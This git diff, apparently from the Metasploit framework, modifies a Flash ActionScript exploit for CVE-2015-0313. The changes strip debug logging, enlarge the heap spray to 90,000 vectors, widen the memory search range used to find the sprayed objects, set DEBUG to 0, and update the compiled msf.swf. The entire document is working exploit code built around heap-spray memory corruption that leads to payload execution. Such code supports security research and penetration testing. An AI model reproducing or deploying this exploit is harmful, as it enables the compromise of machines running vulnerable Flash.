diff --git a/data/exploits/CVE-2015-0313/msf.swf b/data/exploits/CVE-2015-0313/msf.swf index 5ffb0426ff..bcfbde4dbc 100644 Binary files a/data/exploits/CVE-2015-0313/msf.swf and b/data/exploits/CVE-2015-0313/msf.swf differ diff --git a/external/source/exploits/CVE-2015-0313/Exploit.as b/external/source/exploits/CVE-2015-0313/Exploit.as index 07269d38f1..e66e59e9a6 100755 --- a/external/source/exploits/CVE-2015-0313/Exploit.as +++ b/external/source/exploits/CVE-2015-0313/Exploit.as @@ -52,13 +52,10 @@ public class Exploit extends Sprite ba.length = 0x1000 ba.shareable = true - Logger.log("spray") for (var i:uint = 0; i < ov.length; i++) { ov[i] = new Vector.(1014) ov[i][0] = 0xdeedbeef - ov[i][1] = 0xdeadbeef } - Logger.log("holes") for (i = 0; i < 70000; i += 2) { delete(ov[i]) } @@ -68,7 +65,6 @@ public class Exploit extends Sprite worker.setSharedProperty("mc", mc) worker.setSharedProperty("ba", ba) ApplicationDomain.currentDomain.domainMemory = ba - Logger.log('go') worker.start() } diff --git a/external/source/exploits/CVE-2015-0313/Exploiter.as b/external/source/exploits/CVE-2015-0313/Exploiter.as index ebbf9649fa..c34fab31f3 100644 --- a/external/source/exploits/CVE-2015-0313/Exploiter.as +++ b/external/source/exploits/CVE-2015-0313/Exploiter.as @@ -24,7 +24,7 @@ package private var payload_address:uint private var stack:Vector. = new Vector.(0x6400) private var payload_space:Vector. = new Vector.(0x6400) - private var spray:Vector. = new Vector.(15000) + private var spray:Vector. = new Vector.(90000) public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void { @@ -54,18 +54,18 @@ package Logger.log("[*] Exploiter - spray_objects()") for (var i:uint = 0; i < spray.length; i++) { - spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) spray[i][0] = eba.ba - spray[i][1] = exploit - spray[i][2] = stack - spray[i][3] = payload_space + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space } } private function search_objects():uint { Logger.log("[*] Exploiter - search_objects()") - var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) return idx + 1 } diff --git a/external/source/exploits/CVE-2015-0313/Logger.as b/external/source/exploits/CVE-2015-0313/Logger.as index 61ec768c25..16c0447973 100644 --- a/external/source/exploits/CVE-2015-0313/Logger.as +++ b/external/source/exploits/CVE-2015-0313/Logger.as @@ -3,7 +3,7 @@ package import flash.external.ExternalInterface public class Logger { - private static const DEBUG:uint = 1 + private static const DEBUG:uint = 0 public static function alert(msg:String):void {